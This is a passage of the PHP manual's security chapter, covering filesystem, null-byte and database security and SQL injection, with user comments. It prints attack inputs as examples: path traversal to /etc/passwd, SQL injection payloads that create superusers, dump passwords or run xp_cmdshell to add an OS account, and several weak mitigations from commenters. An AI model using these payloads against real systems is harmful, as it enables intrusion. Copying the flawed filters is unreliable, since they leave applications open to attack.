// remove a file from the user's home directory
$username = $_POST['user_submitted_name'];
$userfile = $_POST['user_submitted_filename'];
$homedir  = "/home/$username";

unlink("$homedir/$userfile");

echo "The file has been deleted!";
?>
Since the username and the filename are postable from a user form, they can submit a username and a filename belonging to someone else, and delete it even if they're not supposed to be allowed to do so. In this case, you'd want to use some other form of authentication. Consider what could happen if the variables submitted were "../etc/" and "passwd". The code would then effectively read:

Example #2 ... A filesystem attack

<?php
// removes a file from anywhere on the hard drive that
// the PHP user has access to. If PHP has root access:
$username = $_POST['user_submitted_name']; // "../etc"
$userfile = $_POST['user_submitted_filename']; // "passwd"
$homedir  = "/home/$username"; // "/home/../etc"

unlink("$homedir/$userfile"); // "/home/../etc/passwd"

echo "The file has been deleted!";
?>
There are two important measures you should take to prevent these issues.
  • Only allow limited permissions to the PHP web user binary.
  • Check all variables which are submitted.
Here is an improved script:

Example #3 More secure file name checking

<?php
// removes a file from the hard drive that
// the PHP user has access to.
$username = $_SERVER['REMOTE_USER']; // using an authentication mechanisim
$userfile = basename($_POST['user_submitted_filename']);
$homedir  = "/home/$username";

$filepath = "$homedir/$userfile";

if (file_exists($filepath) && unlink($filepath)) {
    $logstring = "Deleted $filepath\n";
} else {
    $logstring = "Failed to delete $filepath\n";
}
$fp = fopen("/home/logging/filedelete.log", "a");
fwrite($fp, $logstring);
fclose($fp);

echo htmlentities($logstring, ENT_QUOTES);

?>
However, even this is not without its flaws. If your authentication system allowed users to create their own user logins, and a user chose the login "../etc/", the system is once again exposed. For this reason, you may prefer to write a more customized check:

Example #4 More secure file name checking

<?php
$username     = $_SERVER['REMOTE_USER']; // using an authentication mechanisim
$userfile     = $_POST['user_submitted_filename'];
$homedir      = "/home/$username";

$filepath     = "$homedir/$userfile";

if (!ctype_alnum($username) || !preg_match('/^(?:[a-z0-9_-]|\.(?!\.))+$/iD', $userfile)) {
    die("Bad username/filename");
}

//etc...
?>

Depending on your operating system, there are a wide variety of files which you should be concerned about, including device entries (/dev/ or COM1), configuration files (/etc/ files and the .ini files), well known file storage areas (/home/, My Documents), etc. For this reason, it's usually easier to create a policy where you forbid everything except for what you explicitly allow.

User Contributed Notes

Latchezar Tzvetkoff 10-Mar-2009 03:06
A basic filename/directory/symlink checking may be done (and I personally do) via realpath() ...

<?php

if (isset($_GET['file'])) {
    $base = '/home/polizei/public_html/';  // it seems this one is good to be realpath too.. meaning not a symlinked path..
    if (strpos($file = realpath($base.$_GET['file']), $base) === 0 && is_file($file)) {
        unlink($file);
    } else {
        die('blah!');
    }
}
?>
BAT Svensson 27-Mar-2008 02:20
A note on mapping for added security.

The principle with mapping is: WHAT YOU SEE MAY NOT BE.

Map each entity that can be manipulated to a token. Only the token will be displayed to the end user. For added security, map allowed functionality to each token. Changing the token will at most cause a user to manipulate some else already mapped file. This achieve the goal of control and limited access.

There is a variety to implement this but the main point here is that a physical name should never be displayed to the end user, thus restricting an evil user knowledge of the system and it architecture.

This principle is also know under names such as "black box" or "need to know" or "abstraction", etc etc depending on the context.

The point here is that one does not need to know under lying structure in order to do operation one high levels such as "add/move/remove/edit". Present a view - the view will provide the user with what the user need to know.

It is all about creating an illusion of existence at higher level of something that does not exist on a lover level.
steelchords at yahoo dot com 17-Apr-2007 01:12
It seems to me in this particular instance that a simple check to make sure that name or partial pathname doesn't already exist would prevent this attack... if a 'passwd/etc/...' existed as the password directory, you couldn't create a username to exploit the hole in the first place.  But that's only from a 'script user' perspective, it still doesn't protect your server from other sub-admin's badly written code.

Don For
anonymous 17-Nov-2005 02:58
(A) Better not to create files or folders with user-supplied names. If you do not validate enough, you can have trouble. Instead create files and folders with randomly generated names like fg3754jk3h and store the username and this file or folder name in a table named, say, user_objects. This will ensure that whatever the user may type, the command going to the shell will contain values from a specific set only and no mischief can be done.

(B) The same applies to commands executed based on an operation that the user chooses. Better not to allow any part of the user's input to go to the command that you will execute. Instead, keep a fixed set of commands and based on what the user has input, and run those only.

For example,
(A) Keep a table named, say, user_objects with values like:
username|chosen_name   |actual_name|file_or_dir
--------|--------------|-----------|-----------
jdoe    |trekphotos    |m5fg767h67 |D
jdoe    |notes.txt     |nm4b6jh756 |F
tim1997 |_imp_ folder  |45jkh64j56 |D

and always use the actual_name in the filesystem operations rather than the user supplied names.

(B)
<?php
$op = $_POST['op'];//after a lot of validations
$dir = $_POST['dirname'];//after a lot of validations or maybe you can use technique (A)
switch($op){
    case "cd":
        chdir($dir);
        break;
    case "rd":
        rmdir($dir);
        break;
    .....
    default:
        mail("webmaster@example.com", "Mischief", $_SERVER['REMOTE_ADDR']." is probably attempting an attack.");
}
fmrose at ncsu dot edu 09-Oct-2005 04:31
All of the fixes here assume that it is necessary to allow the user to enter system sensitive information to begin with. The proper way to handle this would be to provide something like a numbered list of files to perform an unlink action on and then the chooses the matching number. There is no way for the user to specify a clever attack circumventing whatever pattern matching filename exclusion syntax that you may have.

Anytime you have a security issue, the proper behaviour is to deny all then allow specific instances, not allow all and restrict. For the simple reason that you may not think of every possible restriction.
joshudson';DROP TABLE EMAILS;' gmail.com 01-Sep-2005 09:50
I keep application configuration files in the document root. I found the most effective trick to prevent access to them is to
1. Give them no code that actually runs when included (except for variable assignments),
2. Don't use register globals so nobody can do anything weird,
3. Name them *.php so PHP runs them when asked for
4. Don't have anything before <?php
5. Don't have a ?>
1 at 234 dot cx 23-Jun-2005 05:24
I don't think the filename validation solution from Jones at partykel is complete.  It certainly helps, but it doesn't address the case where the user is able to create a symlink pointing from his home directory to the root.  He might then ask to unlink "foo/etc/passwd" which would be in his home directory, except that foo is a symlink pointing to /.

Personally I wouldn't feel confident that any solution to this problem would keep my system secure.  Running PHP as root (or some equivalent which can unlink files in all users' home directories) is asking for trouble.

If you have a multi-user system and you are afraid that users may install scripts like this, try security-enhanced Linux.  It won't give total protection, but it at least makes sure that an insecure user script can only affect files which the web server is meant to have access to.  Whatever script someone installs, outsiders are not going to be able to read your password file---or remove it.
Jones at partykel dot de 10-Dec-2004 02:00
What about:

<?php
  $file_to_delete = '/home/'.$username.'/'.$userfile;

  if ((!ereg('\.\.', $file_to_delete)) and (file_exists($file_to_delete))) {
      unlink($file_to_delete);
  }
?>

I think this should prevent every attempt to go outside the user-directory.
Additionally you should check usernames at the registration.

Another way whould be to use the user-ID as home-directory - so, this can't be changed and every registered user as an unique one (if it's a primary key in your database). But then you still have to check the given $userfile.

So the code above could be taken as a "last instance check" directly before finally deleting of the file.
akul at inbox dot ru 06-May-2004 09:59
Common and simple way to avoid path attack is separating objectname and filesystem space when possible. For example if I have users on my site and directory per user solution is not "httpdocs/users/$login", but "httpdocs/users/".md5($login) or "httpdocs/users/".$userId
tim at correctclick dot com 30-Mar-2002 04:48
One more thing --

whenever you connect to a database with a password hard coded into your script, make sure you put the script off of your web document tree.  Put the script somewhere where apache won't serve documents, and then include/require this file in your other scripts.  That way, if the server ever gets misconfigured, it won't serve your PHP scripts with passwords, etc. as plain text for all to see.

-Tim
cronos586(AT)caramail(DOT)com 05-Jan-2002 03:48
when using Apache you might consider a apache_lookup_uri on the path, to discover the real path, regardless of any directory trickery.
then, look at the prefix, and compare with a list of allowed prefixes.
for example, my source.php for my website includes:
if(isset($doc)) {
    $apacheres = apache_lookup_uri($doc);
    $really = realpath($apacheres->filename);
    if(substr($really, 0, strlen($DOCUMENT_ROOT)) == $DOCUMENT_ROOT) {
        if(is_file($really)) {
            show_source($really);
        }
    }
}
hope this helps
regards,
KAT44
devik at cdi dot cz 21-Aug-2001 07:52
Well, the fact that all users run under the same UID is a big problem. Userspace  security hacks (ala safe_mode) should not be substitution for proper kernel level security checks/accounting.
Good news: Apache 2 allows you to assign UIDs for different vhosts.
devik
eLuddite at not dot a dot real dot addressnsky dot ru 11-Nov-2000 09:44
I think the lesson is clear:

(1) Forbit path separators in usernames.
(2) map username to a physical home directory - /home/username is fine
(3) read the home directory
(4) present only results of (3) as an option for deletion.

I have discovered a marvelous method of doing the above in php but this submission box is too small to contain it.

:-)
Installed as an Apache module
Null bytes related issues
Security


Null bytes related issues

As PHP uses the underlying C functions for filesystem related operations, it may handle null bytes in a quite unexpected way. As null bytes denote the end of a string in C, strings containing them won't be considered entirely but rather only until a null byte occurs. The following example shows a vulnerable code that demonstrates this problem:

Example #1 Script vulnerable to null bytes

<?php
$file = $_GET['file']; // "../../etc/passwd\0"
if (file_exists('/home/wwwrun/'.$file.'.php')) {
    // file_exists will return true as the file /home/wwwrun/../../etc/passwd exists
    include '/home/wwwrun/'.$file.'.php';
    // the file /etc/passwd will be included
}
?>

Therefore, any tainted string that is used in a filesystem operation should always be validated properly. Here is a better version of the previous example:

Example #2 Correctly validating the input

<?php
$file = $_GET['file'];

// Whitelisting possible values
switch ($file) {
    case 'main':
    case 'foo':
    case 'bar':
        include '/home/wwwrun/include/'.$file.'.php';
        break;
    default:
        include '/home/wwwrun/include/main.php';
}
?>

User Contributed Notes

kpobococ at gmail dot com 16-May-2009 12:25
Since problems with null bytes do not stretch to regular string functions, this should be enough to ensure no GET parameter contains them any more:

<?php
function getVar($name)
{
    $value = isset($_GET[$name]) ? $_GET[$name] : null;

    if (is_string($value)) {
        $value = str_replace("\0", '', $value);
    }
}
?>

Modifying this to work with other superglobals should not be a problem, so I will leave it up to you.
Filesystem Security
Database Security
Filesystem Security


Database Security

Table of Contents

  • Designing Databases
  • Connecting to Database
  • Encrypted Storage Model
  • SQL Injection

Nowadays, databases are cardinal components of any web based application by enabling websites to provide varying dynamic content. Since very sensitive or secret information can be stored in a database, you should strongly consider protecting your databases.

To retrieve or to store any information you need to connect to the database, send a legitimate query, fetch the result, and close the connection. Nowadays, the commonly used query language in this interaction is the Structured Query Language (SQL). See how an attacker can tamper with an SQL query.

As you can surmise, PHP cannot protect your database by itself. The following sections aim to be an introduction into the very basics of how to access and manipulate databases within PHP scripts.

Keep in mind this simple rule: defense in depth. The more places you take action to increase the protection of your database, the less probability of an attacker succeeding in exposing or abusing any stored information. Good design of the database schema and the application deals with your greatest fears.

User Contributed Notes

r at rpl dot name 24-Feb-2011 06:09
you can keep your database vendor portable by using an encapsulation class such as adoDB for php or other framework like zend, codeigniter/cake/symphony,
it will add more header to the processing power (debatable) but it will far reduce the time to develop the app, and the DB.
ja4chem at yahoo dot co dot uk 17-Jan-2008 07:37
SQL injection could be prevented by inserting only base64_encoded data into the data base. Before searching the data base for a certain value or string base64_encode the search string and then start the query.
Dave Martin 16-Aug-2007 12:15
The posting below is at the very best extremely POV.

There is no more reason to assume you would want to change database vendor than there is to assume you might want to port your php code to Java for example. In either case, its going to be a matter of luck where your business rules sit.

Even if your business rules sit in your application, SQL is NOT portable. Oracle outer joins and pivot queries for example, can look completely different to those in other vendors software (particularly from 8i or lower). This fact alone means that changing your DB vendor requires work on your business rules either in the database or in the application.

Having your rules in the database and keeping the sql in application simple, will at least keep the work in the database if you need to change DB vendor. If you have the rules in the PHP, you'll have to change both.
x12code at yahoo dot com 14-Aug-2007 09:48
About offloading business logic to views and queries facilitated by the database engine, I seek to avoid this as much as possible, and only do so when such would drastically improve efficiency and user response time.

For instance, where I am there is database staff and application staff. Trying to do analysis on existent applications can easily become a snipe hunt.

The database should be kept discreet as much as possible from the application, such that any database or database provider can easily be substituted with a minimum of cognitive effort on the part of the one setting up a new database. If functionality has been offloaded to the database, additional testing is required to make sure triggers and views were done correctly, again, and that they work right.

Also, keeping all business logic with the application allows all functionality and documentation to be readable in one place, which is invaluable when doing subsequent analysis on an existing application. The worst thing is to have functionality scattered here and there.

Keeping everything with the application means one group of people is responsible, as in my case, application staff. Fewer requests go back and forth. Remember, anytime someone else is brought into the picture, such as asking a DBA to create a view or trigger for you, that DBA must take responsibility over his or her work, with whatever requirements, causing more bureaucracy and administrative complexity.
me at meme dot com 28-Jun-2007 12:23
<?php
    $getal1 = 5.5;
    $getal2 = 2.0;

    function printDeling() {
        $resultaat = global $getal1 / global $getal2;
        return $resultaat;
    }
    function printVermenigvuldiging() {
        $resultaat = global $getal1 * global $getal2;
        return $resultaat;
    }
    function printSom() {
        $resultaat = global $getal1 + global $getal2;
        return $resultaat;
    }
    function printAftrekking() {
        $resultaat = global $getal1 - global $getal2;
        return $resultaat;
    }

    (printDeling()>=7) ? print "<font color=\"green\"> printDeling()</font>" : print "<font color=\"red\"> printDeling()</font>" ;
?>
somebody at whocares dot com 10-May-2006 09:03
Encrypting user input doesn't do much to guard against SQL injection attacks.  Naturally, you want to encrypt sensitive information across the wire, but if a user puts in malicious data into an input field, any encryption scheme will just dutifully unpack it at the other and and still run the SQL injection hack if you haven't guarded against it.

Encryption is not magic pixie dust to sprinkle on things to make them more secure.
30-Jun-2005 03:57
you can also chamge CHMOD for some file containing "user names" or "passwords"
webmaster at rackhouse dot net 12-Mar-2005 02:08
On a database design point of view, you should make sure that you design databases in a manor that any query run from them need minimal input from the user and if it requires user input, that you encrypt where possible.
jjahn at SPAMSUCKS dot signicast dot com 20-Jun-2003 10:17
I would say one of the best ways to guard against SQL injection is to use the excellent PEAR DB package. If you prepare() and execute() your queries, PEAR will automagically addslashes and handle the query depending on your RDBMS. And of course, for repeatable queries prepare and execute will give you a bit of a readability and speed increase.
Null bytes related issues
Designing Databases
Security


Designing Databases

The first step is always to create the database, unless you want to use one from a third party. When a database is created, it is assigned to an owner, who executed the creation statement. Usually, only the owner (or a superuser) can do anything with the objects in that database, and in order to allow other users to use it, privileges must be granted.

Applications should never connect to the database as its owner or a superuser, because these users can execute any query at will, for example, modifying the schema (e.g. dropping tables) or deleting its entire content.

You may create different database users for every aspect of your application with very limited rights to database objects. The most required privileges should be granted only, and avoid that the same user can interact with the database in different use cases. This means that if intruders gain access to your database using your applications credentials, they can only effect as many changes as your application can.

You are encouraged not to implement all the business logic in the web application (i.e. your script), instead do it in the database schema using views, triggers or rules. If the system evolves, new ports will be intended to open to the database, and you have to re-implement the logic in each separate database client. Over and above, triggers can be used to transparently and automatically handle fields, which often provides insight when debugging problems with your application or tracing back transactions.

User Contributed Notes

There are no user contributed notes for this page.
Database Security
Connecting to Database
Database Security


Connecting to Database

You may want to establish the connections over SSL to encrypt client/server communications for increased security, or you can use ssh to encrypt the network connection between clients and the database server. If either of these is used, then monitoring your traffic and gaining information about your database will be difficult for a would-be attacker.

User Contributed Notes

M Zijlstra 16-Aug-2007 09:11
There is no need to run your db on vmware... If they're on the same machine the connection always goes through the local loopback device thus never touching the actual network.

This is true both when the DB host is specified as 'localhost' or '127.0.0.1' and if the machine's actual host name or outside network address is used (in which case the OS will/should recognise that it's actually a local connection and uses the loopback)
jakub dot lasinski at interia dot pl 28-Jul-2007 12:15
Even if webserver and DBMS are on the same phisical machine one can separate networks by setting database in virtual server inside the main system (using for example VMware solutions).
aastaneh at cmax2 dot com 27-Jul-2006 10:28
Another solution to protect your database is to have a seperate backend network exclusively used for database traffic. Your webserver(s) would have two interface cards: one facing the world, one facing the internal database network. This way- there's no chance of intercepting database traffic from the outside.
06-Oct-2005 03:20
Obviously, this does not apply if PHP and the DBMS are running on the same machine.
Designing Databases
Encrypted Storage Model
Database Security


Encrypted Storage Model

SSL/SSH protects data travelling from the client to the server: SSL/SSH does not protect persistent data stored in a database. SSL is an on-the-wire protocol.

Once an attacker gains access to your database directly (bypassing the webserver), stored sensitive data may be exposed or misused, unless the information is protected by the database itself. Encrypting the data is a good way to mitigate this threat, but very few databases offer this type of data encryption.

The easiest way to work around this problem is to first create your own encryption package, and then use it from within your PHP scripts. PHP can assist you in this with several extensions, such as Mcrypt and Mhash, covering a wide variety of encryption algorithms. The script encrypts the data before inserting it into the database, and decrypts it when retrieving. See the references for further examples of how encryption works.

In the case of truly hidden data, if its raw representation is not needed (i.e. will not be displayed), hashing may also be taken into consideration. The well-known example for hashing is storing the cryptographic hash of a password in a database, instead of the password itself. See also crypt().

Example #1 Using hashed password field

<?php

// storing password hash
$query  = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');",
            pg_escape_string($username), crypt($password, '$2a$07$usesomesillystringforsalt$'));
$result = pg_query($connection, $query);

// querying if user submitted the right password
$query = sprintf("SELECT 1 FROM users WHERE name='%s' AND pwd='%s';",
            pg_escape_string($username), crypt($password, '$2a$07$usesomesillystringforsalt$'));
$result = pg_query($connection, $query);

if (pg_num_rows($result) > 0) {
    echo 'Welcome, $username!';
} else {
    echo 'Authentication failed for $username.';
}

?>

User Contributed Notes

Reiner 21-Apr-2011 12:46
Using functions to obfuscate the hash generation does not increase security. This is security by obscurity. The algorithm used to hash the data needs to be secure by itself.

I would not suggest to use other data as salt. For example if you use the username, you won't be able to change the values without rehashing the password.

I would use a dedicated salt value stored in the same database table.

Why? Because a lot of users use the same login credentials on different web services. And in case another service also uses the username as salt, the resulting hashed password might be the same!

Also an attacker may prepare a rainbow table with prehashed passwords using the username and other known data as salt. Using random data would easily prevent this with little programming effort.
zyppora at nosmac yahoo dot com 14-Mar-2007 04:30
In addition to roysimkes at hotmail dot com:

If your passwords are so secret that they're worth a year's hacking/cracking/etc, you might want to consider 'password renewal', much like Windows' option. Tell your users to renew their passwords every x days/weeks/months to make it extra hard on those already-sweating malicious visitors.
somebody 26-Dec-2006 10:07
A better way to hash would be to use a separate salt for each user. Changing the salt upon each password update will ensure the hashes do not become stale.
Fairydave at the location of dodo.com.au 11-Feb-2006 06:58
I think the best way to have a salt is not to randomly generate one or store a fixed one. Often more than just a password is saved, so use the extra data. Use things like the username, signup date, user ID, anything which is saved in the same table. That way you save on space used by not storing the salt for each user.

Although your method can always be broken if the hacker gets access to your database AND your file, you can make it more difficult. Use different user data depending on random things, the code doesn't need to make sense, just produce the same result each time. For example:

if ((asc(username character 5) > asc(username character 2))
{
   if (month the account created > 6)
      salt = ddmmyyyy of account created date
   else
      salt = yyyyddmm of account created date
}
else
{
   if (day of account created > 15)
      salt = user id * asc(username character 3)
   else
      salt = user id + asc(username character 1) + asc(username character 4)
}

This wont prevent them from reading passwords when they have both database and file access, but it will confuse them and slow them up without much more processing power required to create a random salt
Connecting to Database
SQL Injection
Database Security


SQL Injection

Many web developers are unaware of how SQL queries can be tampered with, and assume that an SQL query is a trusted command. It means that SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks, and sometimes SQL queries even may allow access to host operating system level commands.

Direct SQL Command Injection is a technique where an attacker creates or alters existing SQL commands to expose hidden data, or to override valuable ones, or even to execute dangerous system level commands on the database host. This is accomplished by the application taking user input and combining it with static parameters to build an SQL query. The following examples are based on true stories, unfortunately.

Owing to the lack of input validation and connecting to the database on behalf of a superuser or the one who can create users, the attacker may create a superuser in your database.

Example #1 Splitting the result set into pages ... and making superusers (PostgreSQL)

<?php

$offset = $argv[0]; // beware, no input validation!
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

?>
Normal users click on the 'next', 'prev' links where the $offset is encoded into the URL. The script expects that the incoming $offset is a decimal number. However, what if someone tries to break in by appending a urlencode()'d form of the following to the URL
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';
--
If it happened, then the script would present a superuser access to him. Note that 0; is to supply a valid offset to the original query and to terminate it.

Note:

It is common technique to force the SQL parser to ignore the rest of the query written by the developer with -- which is the comment sign in SQL.

A feasible way to gain passwords is to circumvent your search result pages. The only thing the attacker needs to do is to see if there are any submitted variables used in SQL statements which are not handled properly. These filters can be set commonly in a preceding form to customize WHERE, ORDER BY, LIMIT and OFFSET clauses in SELECT statements. If your database supports the UNION construct, the attacker may try to append an entire query to the original one to list passwords from an arbitrary table. Using encrypted password fields is strongly encouraged.

Example #2 Listing out articles ... and some passwords (any database server)

<?php

$query  = "SELECT id, name, inserted, size FROM products
                  WHERE size = '$size'
                  ORDER BY $order LIMIT $limit, $offset;";
$result = odbc_exec($conn, $query);

?>
The static part of the query can be combined with another SELECT statement which reveals all passwords:
'
union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--
If this query (playing with the ' and --) were assigned to one of the variables used in $query, the query beast awakened.

SQL UPDATE's are also susceptible to attack. These queries are also threatened by chopping and appending an entirely new query to it. But the attacker might fiddle with the SET clause. In this case some schema information must be possessed to manipulate the query successfully. This can be acquired by examining the form variable names, or just simply brute forcing. There are not so many naming conventions for fields storing passwords or usernames.

Example #3 From resetting a password ... to gaining more privileges (any database server)

<?php
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
?>
But a malicious user sumbits the value ' or uid like'%admin%'; -- to $uid to change the admin's password, or simply sets $pwd to "hehehe', admin='yes', trusted=100 " (with a trailing space) to gain more privileges. Then, the query will be twisted:
<?php

// $uid == ' or uid like'%admin%'; --
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%'; --";

// $pwd == "hehehe', admin='yes', trusted=100 "
$query = "UPDATE usertable SET pwd='hehehe', admin='yes', trusted=100 WHERE
...;";

?>

A frightening example how operating system level commands can be accessed on some database hosts.

Example #4 Attacking the database hosts operating system (MSSQL Server)

<?php

$query  = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);

?>
If attacker submits the value a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- to $prod, then the $query will be:
<?php

$query  = "SELECT * FROM products
                    WHERE id LIKE '%a%'
                    exec master..xp_cmdshell 'net user test testpass /ADD'--";
$result = mssql_query($query);

?>
MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.

Note:

Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.

A worked example of the issues regarding SQL Injection
Image courtesy of » xkcd

Avoidance Techniques

While it remains obvious that an attacker must possess at least some knowledge of the database architecture in order to conduct a successful attack, obtaining this information is often very simple. For example, if the database is part of an open source or other publicly-available software package with a default installation, this information is completely open and available. This information may also be divulged by closed-source code - even if it's encoded, obfuscated, or compiled - and even by your very own code through the display of error messages. Other methods include the user of common table and column names. For example, a login form that uses a 'users' table with column names 'id', 'username', and 'password'.

These attacks are mainly based on exploiting the code not being written with security in mind. Never trust any kind of input, especially that which comes from the client side, even though it comes from a select box, a hidden input field or a cookie. The first example shows that such a blameless query can cause disasters.

  • Never connect to the database as a superuser or as the database owner. Use always customized users with very limited privileges.
  • Check if the given input has the expected data type. PHP has a wide range of input validating functions, from the simplest ones found in Variable Functions and in Character Type Functions (e.g. is_numeric(), ctype_digit() respectively) and onwards to the Perl compatible Regular Expressions support.

  • If the application waits for numerical input, consider verifying data with is_numeric(), or silently change its type using settype(), or use its numeric representation by sprintf().

    Example #5 A more secure way to compose a query for paging

    <?php

    settype    ($offset, 'integer');
    $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";

    // please note %d in the format string, using %s would be meaningless
    $query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;",
                         $offset);

    ?>

  • Quote each non numeric user supplied value that is passed to the database with the database-specific string escape function (e.g. mysql_real_escape_string(), sqlite_escape_string(), etc.). If a database-specific string escape mechanism is not available, the addslashes() and str_replace() functions may be useful (depending on database type). See the first example. As the example shows, adding quotes to the static part of the query is not enough, making this query easily crackable.
  • Do not print out any database specific information, especially about the schema, by fair means or foul. See also Error Reporting and Error Handling and Logging Functions.
  • You may use stored procedures and previously defined cursors to abstract data access so that users do not directly access tables or views, but this solution has another impacts.

Besides these, you benefit from logging queries either within your script or by the database itself, if it supports logging. Obviously, the logging is unable to prevent any harmful attempt, but it can be helpful to trace back which application has been circumvented. The log is not useful by itself, but through the information it contains. More detail is generally better than less.

User Contributed Notes

Richard dot Corfield at gmail dot com 18-Nov-2011 02:01
The best way has got to be parameterised queries. Then it doesn't matter what the user types in the data goes to the database as a value.

A quick search online shows some possibilities in PHP which is great! Even on this site - http://php.net/manual/en/pdo.prepared-statements.php
which also gives the reasons this is good both for security and performance.
kirby4 at live dot ca 19-Feb-2011 02:35
A good way to counter SQL injection for queries of type SELECT is use hash function on data by PHP and the database server.
For example, it is possible to use the MySQL function MD5 () to produce a hash of data-server side , and the equivalent function in php web-server side.

<?php
$login = mysql_query("select f_uname, f_passwd from t_user where MD5(f_uname) = '".md5($uname)."' and MD5(f_passwd)='".md5($passwd)."'");
?>

Thus, the injected requests will be crushed and it will become much more difficult to obtain data in the database. Use both sides of the hash result in a comparison of hash, not the execution of the injected queries.

Unfortunately, it probably does not work with other types of queries.
smunday at visionaryweb dot com 17-Dec-2010 02:58
Another suggestion would be to build a series of DB procedures / functions that you give the DB user access to to manipulate or select data. That way, all input would run through this exposed interface and all parameters are forced to be typecast (or rejected).
Anonymous 26-Sep-2010 09:16
Pangolin is an automatic SQL injection penetration testing tool developed by NOSEC.
Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user"s specific DBMS tables/columns, run his own SQL statement, read specific files on the file system and more.
wang dot liang dot com at gmail dot com 11-Mar-2010 03:11
another way to stop sql injection when you odbc_*: create two users,
one has only select permission,
the other has only delete, update, and insert permission,

so you can use select-only user to call odbc_exec while you don't have to check the sql injection; and you use d/u/i only user to update database by calling odbc_prepare and odbc_execute.
fyrye 06-Aug-2009 03:59
Another way to prevent SQL injections as opposed to binary, is to use URL Encoding or Hex Encoding.
I haven't seen a complete example of stopping SQL Injections, most refer to use the mysql_real_escape_string function or param statements.

Several examples at http://en.wikipedia.org/wiki/SQL_injection

Which will stop \x00, \n, \r, \, ', " and \x1a based attacks.
Alot depends on your SQL query structure, though vector level attacks are still viable.

Other than that build your own regex replacement to protect specific queries that could alter or compromise your database/results for specific sections of your processing pages.
Also use unique table and field names. Not just putting _ infront of them...
Example, don't store User/s or Customer/s information in a table named the same.
And NEVER use the same form field names for database field names.
bendikt [at] armed [dot] nu 27-Jul-2009 07:31
i just played around with the array_walk function.
It suddenly struck me that almost all super globals are arrays.
So what i discovered was that i can apply the array_walk function to the super globals. Doing so you automatically run a function call through the super globals
With this piece of code i wrote you should be able to secure most of you input data.

<?php

class secure
{
    function secureSuperGlobalGET(&$value, $key)
    {
        $_GET[$key] = htmlspecialchars(stripslashes($_GET[$key]));
        $_GET[$key] = str_ireplace("script", "blocked", $_GET[$key]);
        $_GET[$key] = mysql_escape_string($_GET[$key]);
        return $_GET[$key];
    }

    function secureSuperGlobalPOST(&$value, $key)
    {
        $_POST[$key] = htmlspecialchars(stripslashes($_POST[$key]));
        $_POST[$key] = str_ireplace("script", "blocked", $_POST[$key]);
        $_POST[$key] = mysql_escape_string($_POST[$key]);
        return $_POST[$key];
    }

    function secureGlobals()
    {
        array_walk($_GET, array($this, 'secureSuperGlobalGET'));
        array_walk($_POST, array($this, 'secureSuperGlobalPOST'));
    }
}

?>
Note that you can modify this in anyway to suit your needs.
The Script has been tested.
Quietust 02-Jun-2009 05:23
An anonymous comment below suggests using PEAR with prepare() / execute() - though it was posted 3 years ago, it is still true today, though it's even easier now since PDO is included in most distributions. For SET/WHERE clauses and INSERT statements, just prepare the query with question marks in place of the dynamic parameters, bind each value in, then execute it, and it'll do all of the escaping for you, rendering the query immune to injection. Dynamic substitution of ORDER BY or LIMIT clauses has to be done the old fashioned way, though, so you still need to be careful with those.

Even without PDO, if you're using Postgres, you've already got the means to use parameterized queries, and if you're using MySQL, you simply need to ignore the outdated "mysql" extension and use "mysqli" instead.
fOV 12-Nov-2008 04:53
The best prevention is to deactivate master..xp_cmdshell.
Run in isql the command `sp_configure 'xp_cmdshell''
If the value for "config value" is 1 then make in the isql
`sp_configure 'xp_cmdshell',0'.
If you want see the options from your mssql-Server make
`sp_configure 'show advanced options',1'
and then `sp_configure'
jaimthorn at yahoo dot com 13-Oct-2008 02:32
dark dot avenger at email dot cz wrote:

"I think that easy way to protect against SQL injection is to convert inputted data into binary format, so that whatever input is, in sql query it will consist only of 1s and 0s."

Unless there is a 1-to-1 correspondence between your inputted data and the characters in your 'binary' format, a SELECT query wouldn't work anymore.  Not a binary format, but it makes my point: MIME encoding the text 'Dark Avenger' results in 'RGFyayBBdmVuZ2Vy'.  If I wanted to look up anyone with 'Avenger' in his/her name, then 'Avenger' would be encoded as 'QXZlbmdlcg==' which clearly wouldn't result in a hit on 'RGFyayBBdmVuZ2Vy'.

If there IS a 1-to-1 correspondence, then EITHER your solution only makes it a bit harder to perform a SQL injection (a hacker would have to figure out what mapping was used between the text and the 'binary' format), OR you've come up with simply another way to escaping your data.  Either isn't a terribly good solution to the SQL injection problem.
dark dot avenger at email dot cz 14-Aug-2008 01:09
I think that easy way to protect against SQL injection is to convert inputted data into binary format, so that whatever input is, in sql query it will consist only of 1s and 0s.
valerylourie at gmail dot com 15-Apr-2008 12:23
Note that PHP 5 introduced filters that you can use for untrusted user input:
http://us.php.net/manual/en/intro.filter.php
ctm at etheon dot net 01-Aug-2006 08:39
This is a very helpful document from the MySQL site (in .pdf format) :

http://dev.mysql.com/tech-resources/articles/
guide-to-php-security-ch3.pdf
16-Mar-2006 09:48
If you use the PEAR package and prepare() / execute() your queries,
you will hardly have to worry about any of this. Of course, it's still
a good idea to make sure you're putting valid data in your database...
Encrypted Storage Model
Error Reporting
Database Security


Error Reporting

With PHP security, there are two sides to error reporting. One is beneficial to increasing security, the other is detrimental.

A standard attack tactic involves profiling a system by feeding it improper data, and checking for the kinds, and contexts, of the errors which are returned. This allows the system cracker to probe for information about the server, to determine possible weaknesses. For example, if an attacker had gleaned information about a page based on a prior form submission, they may attempt to override variables, or modify them:

Example #1 Attacking Variables with a custom HTML page

